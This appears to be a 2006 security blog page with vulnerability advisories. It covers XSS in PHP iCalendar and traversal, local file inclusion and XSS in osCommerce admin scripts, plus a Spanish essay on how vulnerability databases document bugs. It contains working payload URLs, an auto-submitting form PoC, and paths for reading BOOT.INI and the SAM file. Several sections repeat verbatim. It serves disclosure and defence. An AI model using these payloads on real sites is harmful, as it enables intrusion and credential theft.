#####################################################
PHP icalendar multiple variable cross site scripting
Vendor url:http://phpicalendar.net/
Advisore:http://lostmon.blogspot.com/2006/12/
php-icalendar-multiple-variable-cross.html
Vendor notify: YES Exploit included:YES
OSVDB ID:32493,32494,32495,32496,32497,32498,32499,32500
Securitytracker:1017449
Secunia:SA23499
BID:21792
#####################################################
PHP icalendar contains a flaw that allows a remote cross site
scripting attack.This flaw exists because the application does
not validate multiple params upon submission to multiple scripts.
This could allow a user to create a specially crafted URL that
would execute arbitrary code in a user's browser within the
trust relationship between the browser and the server, leading
to a loss of integrity.
######################
versions
######################
all of this versions have been tested
Posible other versions are prone vulnerables.
PHP iCalendar 2.23 rc1
PHP iCalendar 2.22
PHP icalendar 2.0 Beta
PHP iCalendar 1.1
######################
Solution:
######################
No solution was available at this time!!
##################
Time Line
##################
Discovered:20-12-2006
Vendor notify:25-12-2006
Vendor response:
Disclosure:27-12-2006
###################
EXAMPLES & PoC
###################
http://localhost/phpicalendar/day.php?cal=
all_calendars_combined971&getdate=
20061225"><script>alert()</script>
http://localhost/phpicalendar/month.php?cal=
all_calendars_combined971&getdate=20061225
"><script>alert()</script>
http://localhost/phpicalendar/year.php?cal=
all_calendars_combined971&getdate=20061225
"><script>alert()</script>
http://localhost/phpicalendar/week.php?cal=
all_calendars_combined971&getdate=20061225
"><script>alert()</script>
http://localhost/phpicalendar/day.php?cpath=
%22%3E%3Cscript%3Edocument.write(document.domain)
%3C/script%3E&getdate=20061225&cal%5B%5D=
Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work
http://localhost/phpicalendar/month.php?cpath=
%22%3E%3Cscript%3Edocument.write(document.domain
)%3C/script%3E&getdate=20061225&cal%5B%5D
=Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work
http://localhost/phpicalendar/year.php?cpath=
%22%3E%3Cscript%3Edocument.write(document.domain)
%3C/script%3E&getdate=20061225&cal%5B%5D=
Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work
http://localhost/phpicalendar/week.php?cpath=
%22%3E%3Cscript%3Edocument.write(document.domain)
%3C/script%3E&getdate=20061225&cal%5B%5D=
Home&cal%5B%5D=US%2BHolidays&cal%5B%5D=Work
----
http://localhost/phpicalendar/search.php?cpath=
&cal=Home%2CUS%2BHolidays%2CWork&getdate=
19700102&query=ss"><script>alert()</script>&submit.x=11&submit.y=15
http://localhost/phpicalendar/search.php?cpath=
"><script>alert()</script>&
cal=Home%2CUS%2BHolidays2CWork&getdate=
19700102&query=ss&submit.x=11&submit.y=12
http://localhost/phpicalendar/search.php?cpath=&
cal=Home%2CUS%2BHolidays%2CWork&getdate=19700102
"><script>alert()</script>&
query=ss&submit.x=11&submit.y=12
----
http://localhost/phpicalendar/rss/index.php?cal=Home
,US+Holidays,Work&getdate=20061225"><
script>alert()</script>
http://localhost/phpicalendar/print.php?cal=Home,
US+Holidays,Work&getdate=20061225%22%3E%3Cscr
ipt%3Ealert()%3C/script%3E&printview=day
################################
Proof of concept for preferences
################################
Multiple param XSS in preferences.php
Use the proof and modify some params
create a evil cookie before submit :)
http://localhost/phpicalendar/preferences.php?cal=
Home,US+Holidays,Work&getdate=20061227%22%3E%3
Cscript%3Ealert()%3C/script%3E
<html>
<head></head>
<body>
<title>PHP icalendar XSS in preferences.php PoC</title>
<p><a href="http://phpicalendar.net/" target="_BLANK">PHP
icalendar</a> <= 2.23 rc1 preferences.php XSS Proof Of concept By <a
href="http://Lostmon.blogspot.com" target="_BLANK">Lostmon</a></p>
<p>Modify the target host , by default http://localhost/</P>
<br /><br /><form method='post'
action='http://localhost/phpicalendar/preferences.php?action=setcookie'>
cookie_language: <input input='text' value='Spanish'
name='cookie_language' style='width: 80%' /><br>
cookie_calendar: <input input='text'
value='all_calendars_combined971' name='cookie_calendar' style='width:
80%' /><br>
cpath: <input input='text'
value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'
name='cpath' style='width: 80%' /><br>
cookie_view: <input input='text' value='day' name='cookie_view'
style='width: 80%' /><br>
cookie_time: <input input='text' value='0700' name='cookie_time'
style='width: 80%' /><br>
cookie_startday: <input input='text' value='Sunday'
name='cookie_startday' style='width: 80%' /><br>
cookie_style: <input input='text' value='default' name='cookie_style'
style='width: 80%' /><br>
unset: <input input='text'
value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'
name='unset' style='width: 80%' /><br>
set: <input input='text'
value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'
name='set' style='width: 80%' /><br>
<input type='submit' value='submit' /><br>
</form><hr />
<textarea style='width: 80%; height: 50%;'>
<form method='post'
action='http://localhost/phpicalendar/preferences.php?action=setcookie'>
cookie_language: <input input='text' value='Spanish'
name='cookie_language' style='width: 80%' /><br>
cookie_calendar: <input input='text'
value='all_calendars_combined971' name='cookie_calendar' style='width:
80%' /><br>
cpath: <input input='text'
value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'
name='cpath' style='width: 80%' /><br>
cookie_view: <input input='text' value='day' name='cookie_view'
style='width: 80%' /><br>
cookie_time: <input input='text' value='0700' name='cookie_time'
style='width: 80%' /><br>
cookie_startday: <input input='text' value='Sunday'
name='cookie_startday' style='width: 80%' /><br>
cookie_style: <input input='text' value='default' name='cookie_style'
style='width: 80%' /><br>
unset: <input input='text'
value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'
name='unset' style='width: 80%' /><br>
set: <input input='text'
value='<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'
name='set' style='width: 80%' /><br>
<input type='submit' value='submit' /><br>
</form>
<script>
document.forms[0].submit()
</script>
</textarea>
</body>
</html>
######################## €nd #####################
Thnx to Estrella to be my ligth.
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....
Indexacion de vulnerabilidades
Thursday, December 21, 2006
########################################
Indexacion de algunas vulnerabilidades
########################################
Indexacion de algunas vulnerabilidades
########################################
En los últimos años, después de profundizar en la forma, en que
las nuevas vulnerabilidades son descubiertas y publicadas, desde
el punto de vista de aquel que las descubre, y las publica.
Cual es en si el proceso que se sigue, desde que esa vulnerabilidad
es descubierta, hasta que es publicada por las numerosas listas de
seguridad, cómo son añadidas a las bases de datos de esas listas,
cómo se documentan, y por ultimo como son publicadas, se me
ocurren varias consideraciones a tener en cuenta…
Se ha intentado durante mucho tiempo una estandarización,
para poder clasificar los archivos de fallas, de una manera
en la cual fuese fácil reconocerlas (causa del mismo), saber
el tipo de ataque que puede llevarse a cabo (Impacto) Y su
posible mitigación o solución.
Me gustaría hacer un inciso sobre todo en la forma en la que
se suelen tratar una serie de vulnerabilidades, las cuales
suelen ser explotables a través de la URL o en si digamos en
la modificación de los valores de alguna de las variables
o parámetros de la URL.
Las vulnerabilidades sobre las que me gustaría hacer un
comentario son las siguientes:
Cross-site Scripting, SQL injection, traversal arbitrary file access
y alguno que me dejo en el tintero.
Todos estos agujeros suelen ser explotados a través de la URL,
y casi todos hacen uso de las diferentes variables, pasadas
por la URL de una página a otra en las peticiones POST o GET
de un sitio Web.
Si tomamos por ejemplo una URL con varios parámetros en la
cual hubiese uno de ellos vulnerable...
http://[victim]/folder/file.php?var1=value1&var2=[XSS-CODE]
&var3=value3
Esta vulnerabilidad seria seguramente llamada...
[Producto afectado]+ [Nombre de la variable]+ [agujero]
Con lo cual diríamos que nuestro producto es vulnerable en
la variable var2 a un bug de tipo Cross site scripting.
Cuando esta vulnerabilidad llega a las listas de seguridad, estas hacen
eco de ella y le añaden el archivo afectado, si el descubridor no lo
especifica, con lo cual nuestra vulnerabilidad en su descripción diría
que el producto XXX es vulnerable en la variable var2 a cross site
scripting al ser enviada al archivo 'file.php'
¿Que pasaría si dicha variable no estuviera definida en esa pagina?
que viniese de otra pagina de la que hemos echo un POST o que
estuviese en otro archivo y este fuese incluido en la pagina que
supuestamente es la vulnerable?
Seguramente nos volveríamos locos a la hora de intentar localizar el
fallo y deberíamos mirar muchos mas archivos de los que en realidad
necesitamos para fijar esa vulnerabilidad en una determinada llamada
a la variable afectada.
Seguramente al desarrollador le costaría mas encontrar exactamente
el error, pues en si directamente le estamos dando información
incorrecta sobre donde se haya situada la vulnerabilidad al
facilitar un archivo donde supuestamente la variable falla.
Si ponemos como ejemplo un portal tipo PHP-NUKE el cual en
el ejemplo,la primera variable llama a un modulo, la segunda
proviene del modulo llamado.
http://[PHP-NUKE]/modules.php?name=News&new_topic=1
Si existiese una vulnerabilidad en la segunda variable, esta
igualmente seria descrita por las listas como variable
new_topic es vulnetable al ser enviada al archivo modules.php
pero esta vulnerabilidad podría venir(como casi siempre es seguro)
del archivo News.php situado en el directorio de módulos del PHP-NUKE.
El desarrollador seguramente fijaría esa variable en la página
mencionada, pero seguramente esa misma variable desde otro punto
del portal, seria también vulnerable por no haberlo corregido
directamente donde se inicializa esa variable o parámetro, con
lo cual en si esa vulnerabilidad podría dividirse en dos.
Si las listas de seguridad indicasen que la variable new_topic
es vulnerable a cross site scripting al ser enviada a modules.php
y esavariable esta definida en el archivo news.php…
¿no seria mas correcto decir que la variable new_topic es
vulnerable en los dos puntos en lugar de solo en el primero?
Este tipo de "errores" al documentar las vulnerabilidades puede
llevar a creer que muchas de las vulnerabilidades del tipo descrito,
pueden estar en las listas expuestas de forma incorrecta, o pueden
llevar a error, pues en si la mayoría de las veces la definición
de la misma es errónea.
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....
las nuevas vulnerabilidades son descubiertas y publicadas, desde
el punto de vista de aquel que las descubre, y las publica.
Cual es en si el proceso que se sigue, desde que esa vulnerabilidad
es descubierta, hasta que es publicada por las numerosas listas de
seguridad, cómo son añadidas a las bases de datos de esas listas,
cómo se documentan, y por ultimo como son publicadas, se me
ocurren varias consideraciones a tener en cuenta…
Se ha intentado durante mucho tiempo una estandarización,
para poder clasificar los archivos de fallas, de una manera
en la cual fuese fácil reconocerlas (causa del mismo), saber
el tipo de ataque que puede llevarse a cabo (Impacto) Y su
posible mitigación o solución.
Me gustaría hacer un inciso sobre todo en la forma en la que
se suelen tratar una serie de vulnerabilidades, las cuales
suelen ser explotables a través de la URL o en si digamos en
la modificación de los valores de alguna de las variables
o parámetros de la URL.
Las vulnerabilidades sobre las que me gustaría hacer un
comentario son las siguientes:
Cross-site Scripting, SQL injection, traversal arbitrary file access
y alguno que me dejo en el tintero.
Todos estos agujeros suelen ser explotados a través de la URL,
y casi todos hacen uso de las diferentes variables, pasadas
por la URL de una página a otra en las peticiones POST o GET
de un sitio Web.
Si tomamos por ejemplo una URL con varios parámetros en la
cual hubiese uno de ellos vulnerable...
http://[victim]/folder/file.php?var1=value1&var2=[XSS-CODE]
&var3=value3
Esta vulnerabilidad seria seguramente llamada...
[Producto afectado]+ [Nombre de la variable]+ [agujero]
Con lo cual diríamos que nuestro producto es vulnerable en
la variable var2 a un bug de tipo Cross site scripting.
Cuando esta vulnerabilidad llega a las listas de seguridad, estas hacen
eco de ella y le añaden el archivo afectado, si el descubridor no lo
especifica, con lo cual nuestra vulnerabilidad en su descripción diría
que el producto XXX es vulnerable en la variable var2 a cross site
scripting al ser enviada al archivo 'file.php'
¿Que pasaría si dicha variable no estuviera definida en esa pagina?
que viniese de otra pagina de la que hemos echo un POST o que
estuviese en otro archivo y este fuese incluido en la pagina que
supuestamente es la vulnerable?
Seguramente nos volveríamos locos a la hora de intentar localizar el
fallo y deberíamos mirar muchos mas archivos de los que en realidad
necesitamos para fijar esa vulnerabilidad en una determinada llamada
a la variable afectada.
Seguramente al desarrollador le costaría mas encontrar exactamente
el error, pues en si directamente le estamos dando información
incorrecta sobre donde se haya situada la vulnerabilidad al
facilitar un archivo donde supuestamente la variable falla.
Si ponemos como ejemplo un portal tipo PHP-NUKE el cual en
el ejemplo,la primera variable llama a un modulo, la segunda
proviene del modulo llamado.
http://[PHP-NUKE]/modules.php?name=News&new_topic=1
Si existiese una vulnerabilidad en la segunda variable, esta
igualmente seria descrita por las listas como variable
new_topic es vulnetable al ser enviada al archivo modules.php
pero esta vulnerabilidad podría venir(como casi siempre es seguro)
del archivo News.php situado en el directorio de módulos del PHP-NUKE.
El desarrollador seguramente fijaría esa variable en la página
mencionada, pero seguramente esa misma variable desde otro punto
del portal, seria también vulnerable por no haberlo corregido
directamente donde se inicializa esa variable o parámetro, con
lo cual en si esa vulnerabilidad podría dividirse en dos.
Si las listas de seguridad indicasen que la variable new_topic
es vulnerable a cross site scripting al ser enviada a modules.php
y esavariable esta definida en el archivo news.php…
¿no seria mas correcto decir que la variable new_topic es
vulnerable en los dos puntos en lugar de solo en el primero?
Este tipo de "errores" al documentar las vulnerabilidades puede
llevar a creer que muchas de las vulnerabilidades del tipo descrito,
pueden estar en las listas expuestas de forma incorrecta, o pueden
llevar a error, pues en si la mayoría de las veces la definición
de la misma es errónea.
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....
Oscommerce traversal arbitrary file access
Thursday, December 07, 2006
############################################
Oscommerce traversal arbitrary file access
Vendor:http://www.oscommerce.com/about/news,125
Advisore:http://lostmon.blogspot.com/2006/12
/oscommerce-traversal-arbitrary-file.html
Vendor notify:NO Exploit available: YES
Securitytracker:1017353
BID:21477
###########################################
osCommerce contains a flaw that allows a remote traversal
arbitrary file access.This flaw exists because the application
does not validate filter variable upon submission to
admin/templates_boxes_layout.php script.This could allow a
remote authenticated administrator to create a specially
crafted URL that would execute '../' directory traversal
characters to view files on the target system with
the privileges of the target web service.
####################
versions
####################
Oscommerce 3.0a3
###################
SOLUTION
###################
No solution was available at this time.
################
timeline
################
Discovered:11-11-2006
vendor notify:------
vendor response:
disclosure:07-12-2006
#################
Examples
#################
######################
traversal file access
######################
wen we try to open
http://localhost/oscommerce/admin/templates_boxes_layout.php?
set=boxes&filter=[SOME WORD]&lID=27
the aplication returns a full path disclosure and
returns this error:
Warning: require(includes/templates/[SOME WORD].php) [function.require]:
failed to open stream: No such file or directory in C:\AppServ\www oscommerce\admin\templates\pages\templates_boxes_layout.php on line 13
Fatal error: require() [function.require]: Failed opening required
'includes/templates/[SOME WORD].php' (include_path='.;C:\php5\pear')
in C:\AppServ\www\oscommerce\admin\templates\pages\templates_
boxes_layout.php on line 13
the aplication add the .php extension to our [SOME WORD] ummm
and it searh for the file in a folder inside webserver
we can include any php file located on the web server
in the aplication and it is executed(local file inclusion)
http://[victim]/admin/templates_boxes_layout.php?
set=boxes&filter=../../our_evil_php_file&lID=27
if we try to read a file outside webserver folder with a non php
extension can try for test this...
&filter=../../../../file.extension%00 for look for example boot.ini
in a windows system
http://localhost/oscommerce/admin/templates_boxes_layout.php?
set=boxes&filter=../../../../BOOT.INI%00&lID=27
http://localhost/oscommerce/admin/templates_boxes_layout.php?
set=content&filter=../../../../windows/repair/sam%00&lID=27
#####################
Cross site scripting
#####################
http://localhost/oscommerce/admin/modules.php?set=shipping
%22%3E%3Cscript%3Ealert('xss')%3C/script%3E
http://localhost/definitiva/admin/customers.php?selected_box=customers
%22%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E
http://localhost/oscommerce/admin/languages_definitions.php?lID=1
%22%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E
http://localhost/oscommerce/admin/products.php?pID=1%22%3E%3CSCRIPT
%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E&action=new_product
######################## €nd #####################
Thnx to Estrella to be my ligth.
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....
Oscommerce traversal arbitrary file access
Vendor:http://www.oscommerce.com/about/news,125
Advisore:http://lostmon.blogspot.com/2006/12
/oscommerce-traversal-arbitrary-file.html
Vendor notify:NO Exploit available: YES
Securitytracker:1017353
BID:21477
###########################################
osCommerce contains a flaw that allows a remote traversal
arbitrary file access.This flaw exists because the application
does not validate filter variable upon submission to
admin/templates_boxes_layout.php script.This could allow a
remote authenticated administrator to create a specially
crafted URL that would execute '../' directory traversal
characters to view files on the target system with
the privileges of the target web service.
####################
versions
####################
Oscommerce 3.0a3
###################
SOLUTION
###################
No solution was available at this time.
################
timeline
################
Discovered:11-11-2006
vendor notify:------
vendor response:
disclosure:07-12-2006
#################
Examples
#################
######################
traversal file access
######################
wen we try to open
http://localhost/oscommerce/admin/templates_boxes_layout.php?
set=boxes&filter=[SOME WORD]&lID=27
the aplication returns a full path disclosure and
returns this error:
Warning: require(includes/templates/[SOME WORD].php) [function.require]:
failed to open stream: No such file or directory in C:\AppServ\www oscommerce\admin\templates\pages\templates_boxes_layout.php on line 13
Fatal error: require() [function.require]: Failed opening required
'includes/templates/[SOME WORD].php' (include_path='.;C:\php5\pear')
in C:\AppServ\www\oscommerce\admin\templates\pages\templates_
boxes_layout.php on line 13
the aplication add the .php extension to our [SOME WORD] ummm
and it searh for the file in a folder inside webserver
we can include any php file located on the web server
in the aplication and it is executed(local file inclusion)
http://[victim]/admin/templates_boxes_layout.php?
set=boxes&filter=../../our_evil_php_file&lID=27
if we try to read a file outside webserver folder with a non php
extension can try for test this...
&filter=../../../../file.extension%00 for look for example boot.ini
in a windows system
http://localhost/oscommerce/admin/templates_boxes_layout.php?
set=boxes&filter=../../../../BOOT.INI%00&lID=27
http://localhost/oscommerce/admin/templates_boxes_layout.php?
set=content&filter=../../../../windows/repair/sam%00&lID=27
#####################
Cross site scripting
#####################
http://localhost/oscommerce/admin/modules.php?set=shipping
%22%3E%3Cscript%3Ealert('xss')%3C/script%3E
http://localhost/definitiva/admin/customers.php?selected_box=customers
%22%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E
http://localhost/oscommerce/admin/languages_definitions.php?lID=1
%22%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E
http://localhost/oscommerce/admin/products.php?pID=1%22%3E%3CSCRIPT
%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E&action=new_product
######################## €nd #####################
Thnx to Estrella to be my ligth.
--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
--
La curiosidad es lo que hace mover la mente....
Subscribe to:
Posts (Atom)
Posts
